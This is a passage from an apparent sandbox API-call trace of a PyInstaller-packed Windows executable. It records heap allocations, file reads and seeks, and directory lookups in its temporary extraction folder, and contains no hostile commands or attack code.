Flags=0x0, Size=0x1000) returned 0x2aab968 [0072.202] ReadFile (in: hFile=0x1d4, lpBuffer=0x2aab968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2aab968*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0072.202] GetCurrentThreadId () returned 0x9b0 [0072.202] GetLastError () returned 0x0 [0072.202] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x709420 [0072.202] GetLastError () returned 0x0 [0072.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aab968 | out: hHeap=0x2ad0000) returned 1 [0072.202] CloseHandle (hObject=0x1d4) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2aab968 [0072.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2aad540 [0072.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aab968 | out: hHeap=0x2ad0000) returned 1 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aad540, Size=0x223a) returned 0x2aad540 [0072.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3c0 | out: hHeap=0x2ad0000) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x88a) returned 0x2a8a3c0 [0072.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x670) returned 0x2a8ac58 [0072.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x251) returned 0x2a884f0 [0072.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181a8 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a181a8, Size=0x20) returned 0x2a1fa60 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa60, Size=0x40) returned 0x2a18dd0 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18dd0, Size=0x64) returned 0x2a19b98 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2a6e870 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0xb8) returned 0x2a6e870 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0xe8) returned 0x2a6e870 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0x120) returned 0x2a76e30 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0x160) returned 0x2b21c40 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21c40, Size=0x1a8) returned 0x2a869d8 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a869d8, Size=0x1f8) returned 0x2a87320 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a87320, Size=0x250) returned 0x2a87788 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a87788, Size=0x2b4) returned 0x2a72ea0 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a72ea0, Size=0x324) returned 0x2a72ea0 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a72ea0, Size=0x3a4) returned 0x2a72ea0 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a72ea0, Size=0x434) returned 0x2a8b2d0 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b2d0, Size=0x4d4) returned 0x2a8b2d0 [0072.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b2d0, Size=0x588) returned 0x2a8b2d0 [0072.204] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b2d0, Size=0x654) returned 0x2a8b2d0 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x27d) returned 0x2a72ea0 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b2d0 | out: hHeap=0x2ad0000) returned 1 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aad540 | out: hHeap=0x2ad0000) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aad398 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2aad970 [0072.204] GetCurrentThreadId () returned 0x9b0 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3c0 | out: hHeap=0x2ad0000) returned 1 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ac58 | out: hHeap=0x2ad0000) returned 1 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a72ea0 | out: hHeap=0x2ad0000) returned 1 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0072.204] GetCurrentThreadId () returned 0x9b0 [0072.204] GetCurrentThreadId () returned 0x9b0 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0072.204] GetCurrentThreadId () returned 0x9b0 [0072.204] GetCurrentThreadId () returned 0x9b0 [0072.204] GetCurrentThreadId () returned 0x9b0 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a75cd0 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75cd0 | out: hHeap=0x2ad0000) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a75cd0 [0072.204] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75cd0, Size=0x14) returned 0x2a75cd0 [0072.204] GetCurrentThreadId () returned 0x9b0 [0072.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75cd0 | out: hHeap=0x2ad0000) returned 1 [0072.205] GetCurrentThreadId () returned 0x9b0 [0072.205] GetCurrentThreadId () returned 0x9b0 [0072.205] GetCurrentThreadId () returned 0x9b0 [0072.205] GetCurrentThreadId () returned 0x9b0 [0072.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0072.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0072.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0072.205] GetCurrentThreadId () returned 0x9b0 [0072.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0072.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18148 [0072.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f948 [0072.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa88 [0072.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71600 [0072.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64f8 [0072.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a180d0 [0072.206] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64f8, Size=0x14) returned 0x2a71680 [0072.206] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71680, Size=0x24) returned 0x2a20108 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180d0 | out: hHeap=0x2ad0000) returned 1 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71600 | out: hHeap=0x2ad0000) returned 1 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa88 | out: hHeap=0x2ad0000) returned 1 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18148 | out: hHeap=0x2ad0000) returned 1 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180b8 [0072.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180d0 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0072.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0072.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.206] GetCurrentThreadId () returned 0x9b0 [0072.207] GetLastError () returned 0x0 [0072.207] GetLastError () returned 0x0 [0072.207] GetLastError () returned 0x0 [0072.207] GetLastError () returned 0x0 [0072.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20108 [0072.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0072.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad65b8 [0072.207] GetLastError () returned 0x0 [0072.207] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bab58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.207] GetFileType (hFile=0x1d4) returned 0x1 [0072.207] GetFileType (hFile=0x1d4) returned 0x1 [0072.207] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9babd4 | out: lpFileInformation=0x9babd4) returned 1 [0072.207] FileTimeToLocalFileTime (in: lpFileTime=0x9babe8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.207] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.207] FileTimeToLocalFileTime (in: lpFileTime=0x9babe0, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.207] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.207] FileTimeToLocalFileTime (in: lpFileTime=0x9babd8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.207] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0072.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0072.207] GetLastError () returned 0x0 [0072.207] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7376940, lpDistanceToMoveHigh=0x9bac88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bac88*=0) returned 0x70902c [0072.207] GetCurrentThreadId () returned 0x9b0 [0072.208] GetLastError () returned 0x0 [0072.208] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7059906, lpDistanceToMoveHigh=0x9bb020*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bb020*=0) returned 0x6bb9c2 [0072.208] GetCurrentThreadId () returned 0x9b0 [0072.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1b4d) returned 0x2aaf178 [0072.208] GetLastError () returned 0x0 [0072.208] ReadFile (in: hFile=0x1d4, lpBuffer=0x2aaf18c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bafe8, lpOverlapped=0x0 | out: lpBuffer=0x2aaf18c*, lpNumberOfBytesRead=0x9bafe8*=0x1000, lpOverlapped=0x0) returned 1 [0072.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a8a3c0 [0072.208] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a8a3c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bafd4, lpOverlapped=0x0 | out: lpBuffer=0x2a8a3c0*, lpNumberOfBytesRead=0x9bafd4*=0x1000, lpOverlapped=0x0) returned 1 [0072.208] GetCurrentThreadId () returned 0x9b0 [0072.208] GetLastError () returned 0x0 [0072.208] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9cac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9cac*=0) returned 0x6bd9c2 [0072.208] GetLastError () returned 0x0 [0072.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3c0 | out: hHeap=0x2ad0000) returned 1 [0072.208] CloseHandle (hObject=0x1d4) returned 1 [0072.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ab0cd0 [0072.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2ab28a8 [0072.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2ab68c8 [0072.208] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab28a8, Size=0x8015) returned 0x2abe8d0 [0072.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab68c8 | out: hHeap=0x2ad0000) returned 1 [0072.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0cd0 | out: hHeap=0x2ad0000) returned 1 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2abe8d0, Size=0x4ab4) returned 0x2abe8d0 [0072.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aaf178 | out: hHeap=0x2ad0000) returned 1 [0072.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa66) returned 0x2a8a3c0 [0072.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20c) returned 0x2a87788 [0072.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1f8f8 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f8f8, Size=0x40) returned 0x2a18ea8 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ea8, Size=0x64) returned 0x2a19888 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19888, Size=0x8c) returned 0x2a6e870 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0xb8) returned 0x2a6e870 [0072.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2de) returned 0x2a72ea0 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0xe8) returned 0x2a6e870 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0x120) returned 0x2a76e30 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0x160) returned 0x2b21c40 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21c40, Size=0x1a8) returned 0x2a869d8 [0072.209] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a869d8, Size=0x1f8) returned 0x2a87320 [0072.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x2b21f68 [0072.210] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a87320, Size=0x250) returned 0x2a8ae30 [0072.210] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae30, Size=0x2b4) returned 0x2a8ae30 [0072.210] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae30, Size=0x324) returned 0x2a8ae30 [0072.210] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae30, Size=0x3a4) returned 0x2a8ae30 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x250) returned 0x2ac4bc8 [0072.211] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae30, Size=0x434) returned 0x2a8ae30 [0072.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae30 | out: hHeap=0x2ad0000) returned 1 [0072.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2abe8d0 | out: hHeap=0x2ad0000) returned 1 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xfc) returned 0x2a6e870 [0072.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6598 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aacd78 [0072.211] GetCurrentThreadId () returned 0x9b0 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0072.211] GetCurrentThreadId () returned 0x9b0 [0072.211] GetCurrentThreadId () returned 0x9b0 [0072.211] GetCurrentThreadId () returned 0x9b0 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0072.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0072.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0072.211] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a879a0, Size=0x14) returned 0x2a879a0 [0072.211] GetCurrentThreadId () returned 0x9b0 [0072.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0072.211] GetCurrentThreadId () returned 0x9b0 [0072.211] GetCurrentThreadId () returned 0x9b0 [0072.211] GetLastError () returned 0x0 [0072.211] GetLastError () returned 0x0 [0072.212] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\ctypes", lpFindFileData=0x9baa08 | out: lpFindFileData=0x9baa08*(dwFileAttributes=0x29ef3f0, ftCreationTime.dwLowDateTime=0x2b243e0, ftCreationTime.dwHighDateTime=0x2a72740, ftLastAccessTime.dwLowDateTime=0x7f, ftLastAccessTime.dwHighDateTime=0x2b243e0, ftLastWriteTime.dwLowDateTime=0x9baa38, ftLastWriteTime.dwHighDateTime=0x72fbb915, nFileSizeHigh=0x9baa4c, nFileSizeLow=0x73013d47, dwReserved0=0x9baa44, dwReserved1=0x0, cFileName=",«\x9b", cAlternateFileName="")) returned 0xffffffff [0072.212] GetLastError () returned 0x2 [0072.212] GetLastError () returned 0x2 [0072.212] GetLastError () returned 0x2 [0072.212] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\ctypes", nBufferLength=0x104, lpBuffer=0x9bab48, lpFilePart=0x9ba9a0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\ctypes", lpFilePart=0x9ba9a0*="ctypes") returned 0x32 [0072.212] GetLastError () returned 0x2 [0072.212] GetLastError () returned 0x2 [0072.212] GetLastError () returned 0x2 [0072.212] GetLastError () returned 0x2 [0072.212] GetLastError () returned 0x2 [0072.212] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9baa08 | out: lpFindFileData=0x9baa08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea56, dwReserved1=0xfffffffe, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x10555e0 [0072.212] FileTimeToLocalFileTime (in: lpFileTime=0x9baa1c, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0072.212] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0072.212] FileTimeToLocalFileTime (in: lpFileTime=0x9baa14, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0072.212] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0072.212] FileTimeToLocalFileTime (in: lpFileTime=0x9baa0c, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0072.212] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0072.212] FindClose (in: hFindFile=0x10555e0 | out: hFindFile=0x10555e0) returned 1 [0072.212] GetLastError () returned 0x2 [0072.212] GetCurrentThreadId () returned 0x9b0 [0072.212] GetCurrentThreadId () returned 0x9b0 [0072.212] GetCurrentThreadId () returned 0x9b0 [0072.212] GetCurrentThreadId () returned 0x9b0 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0072.213] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a879a0, Size=0x14) returned 0x2a879a0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] GetCurrentThreadId () returned 0x9b0 [0072.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0072.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0072.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0072.214] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a879a0, Size=0x14) returned 0x2a879a0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0072.214] HeapFree 